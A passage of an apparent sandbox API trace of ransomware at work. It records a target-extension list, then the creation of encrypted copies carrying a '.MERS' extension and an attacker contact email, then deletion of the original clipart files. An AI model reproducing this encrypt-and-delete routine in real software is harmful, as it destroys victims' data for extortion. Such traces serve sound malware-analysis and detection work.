(lpString1=".doc", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString=".docx") returned 5 [0271.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.973] lstrlenW (lpString=".pdf") returned 4 [0271.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString=".xls") returned 4 [0271.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.973] lstrlenW (lpString=".xlsx") returned 5 [0271.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.973] lstrlenW (lpString=".ppt") returned 4 [0271.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.973] lstrlenW (lpString=".zip") returned 4 [0271.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.973] lstrlenW (lpString=".rar") returned 4 [0271.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString=".bz2") returned 4 [0271.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString=".7z") returned 3 [0271.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.973] lstrlenW (lpString=".dbf") returned 4 [0271.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.973] lstrlenW (lpString=".1cd") returned 4 [0271.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.973] lstrlenW (lpString=".jpg") returned 4 [0271.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.974] lstrlenW (lpString=".doc") returned 4 [0271.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString=".docx") returned 5 [0271.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.974] lstrlenW (lpString=".pdf") returned 4 [0271.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString=".xls") returned 4 [0271.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.974] lstrlenW (lpString=".xlsx") returned 5 [0271.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.974] lstrlenW (lpString=".ppt") returned 4 [0271.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.974] lstrlenW (lpString=".zip") returned 4 [0271.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.974] lstrlenW (lpString=".rar") returned 4 [0271.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString=".bz2") returned 4 [0271.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString=".7z") returned 3 [0271.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.974] lstrlenW (lpString=".dbf") returned 4 [0271.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.974] lstrlenW (lpString=".1cd") returned 4 [0271.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.974] lstrlenW (lpString=".jpg") returned 4 [0271.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.975] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.975] lstrlenW (lpString="BL00194_.WMF") returned 12 [0271.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0271.975] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=3986) returned 1 [0271.975] CloseHandle (hObject=0x3d8) returned 1 [0271.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0271.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0271.975] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.975] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.976] GetLastError () returned 0x0 [0271.976] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xf92, lpOverlapped=0x0) returned 1 [0272.060] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0272.061] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.061] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.061] SetEndOfFile (hFile=0x360) returned 1 [0272.061] CloseHandle (hObject=0x360) returned 1 [0272.061] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.061] SetEndOfFile (hFile=0x3d8) returned 1 [0272.063] CloseHandle (hObject=0x3d8) returned 1 [0272.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0272.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.063] lstrlenW (lpString=".doc") returned 4 [0272.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.063] lstrlenW (lpString=".docx") returned 5 [0272.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.064] lstrlenW (lpString=".pdf") returned 4 [0272.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".xls") returned 4 [0272.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.064] lstrlenW (lpString=".xlsx") returned 5 [0272.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.064] lstrlenW (lpString=".ppt") returned 4 [0272.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.064] lstrlenW (lpString=".zip") returned 4 [0272.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.064] lstrlenW (lpString=".rar") returned 4 [0272.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".bz2") returned 4 [0272.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".7z") returned 3 [0272.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.064] lstrlenW (lpString=".dbf") returned 4 [0272.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.064] lstrlenW (lpString=".1cd") returned 4 [0272.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.064] lstrlenW (lpString=".jpg") returned 4 [0272.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.064] lstrlenW (lpString=".doc") returned 4 [0272.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".docx") returned 5 [0272.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.064] lstrlenW (lpString=".pdf") returned 4 [0272.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".xls") returned 4 [0272.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.065] lstrlenW (lpString=".xlsx") returned 5 [0272.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.065] lstrlenW (lpString=".ppt") returned 4 [0272.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.065] lstrlenW (lpString=".zip") returned 4 [0272.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.065] lstrlenW (lpString=".rar") returned 4 [0272.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString=".bz2") returned 4 [0272.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString=".7z") returned 3 [0272.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.065] lstrlenW (lpString=".dbf") returned 4 [0272.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.065] lstrlenW (lpString=".1cd") returned 4 [0272.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0272.065] lstrlenW (lpString=".jpg") returned 4 [0272.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.065] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.065] lstrlenW (lpString="BL00247_.WMF") returned 12 [0272.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.066] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=14444) returned 1 [0272.066] CloseHandle (hObject=0x3d8) returned 1 [0272.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0272.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.066] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.066] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0272.066] GetLastError () returned 0x0 [0272.066] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x386c, lpOverlapped=0x0) returned 1 [0272.100] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x3870, lpOverlapped=0x0) returned 1 [0272.101] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.101] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.101] SetEndOfFile (hFile=0x360) returned 1 [0272.101] CloseHandle (hObject=0x360) returned 1 [0272.109] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.109] SetEndOfFile (hFile=0x3d8) returned 1 [0272.110] CloseHandle (hObject=0x3d8) returned 1 [0272.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.111] lstrlenW (lpString=".doc") returned 4 [0272.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString=".docx") returned 5 [0272.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.111] lstrlenW (lpString=".pdf") returned 4 [0272.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString=".xls") returned 4 [0272.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.111] lstrlenW (lpString=".xlsx") returned 5 [0272.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.111] lstrlenW (lpString=".ppt") returned 4 [0272.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.111] lstrlenW (lpString=".zip") returned 4 [0272.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.111] lstrlenW (lpString=".rar") returned 4 [0272.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString=".bz2") returned 4 [0272.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString=".7z") returned 3 [0272.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString=".dbf") returned 4 [0272.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString=".1cd") returned 4 [0272.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString=".jpg") returned 4 [0272.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString=".doc") returned 4 [0272.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString=".docx") returned 5 [0272.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.112] lstrlenW (lpString=".pdf") returned 4 [0272.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString=".xls") returned 4 [0272.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.112] lstrlenW (lpString=".xlsx") returned 5 [0272.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.112] lstrlenW (lpString=".ppt") returned 4 [0272.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString=".zip") returned 4 [0272.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.112] lstrlenW (lpString=".rar") returned 4 [0272.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString=".bz2") returned 4 [0272.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString=".7z") returned 3 [0272.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.112] lstrlenW (lpString=".dbf") returned 4 [0272.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.113] lstrlenW (lpString=".1cd") returned 4 [0272.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0272.113] lstrlenW (lpString=".jpg") returned 4 [0272.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.113] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.113] lstrlenW (lpString="BL00254_.WMF") returned 12 [0272.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.114] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1736) returned 1 [0272.114] CloseHandle (hObject=0x3d8) returned 1 [0272.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0272.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.115] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.115] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0272.119] GetLastError () returned 0x0 [0272.237] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x6c8, lpOverlapped=0x0) returned 1 [0272.422] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0272.422] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.422] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.422] SetEndOfFile (hFile=0x360) returned 1 [0272.422] CloseHandle (hObject=0x360) returned 1 [0272.423] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.423] SetEndOfFile (hFile=0x3d8) returned 1 [0272.424] CloseHandle (hObject=0x3d8) returned 1 [0272.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0272.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.438] lstrlenW (lpString=".doc") returned 4 [0272.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.438] lstrlenW (lpString=".docx") returned 5 [0272.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.438] lstrlenW (lpString=".pdf") returned 4 [0272.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString=".xls") returned 4 [0272.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.439] lstrlenW (lpString=".xlsx") returned 5 [0272.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.439] lstrlenW (lpString=".ppt") returned 4 [0272.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.439] lstrlenW (lpString=".zip") returned 4 [0272.439] 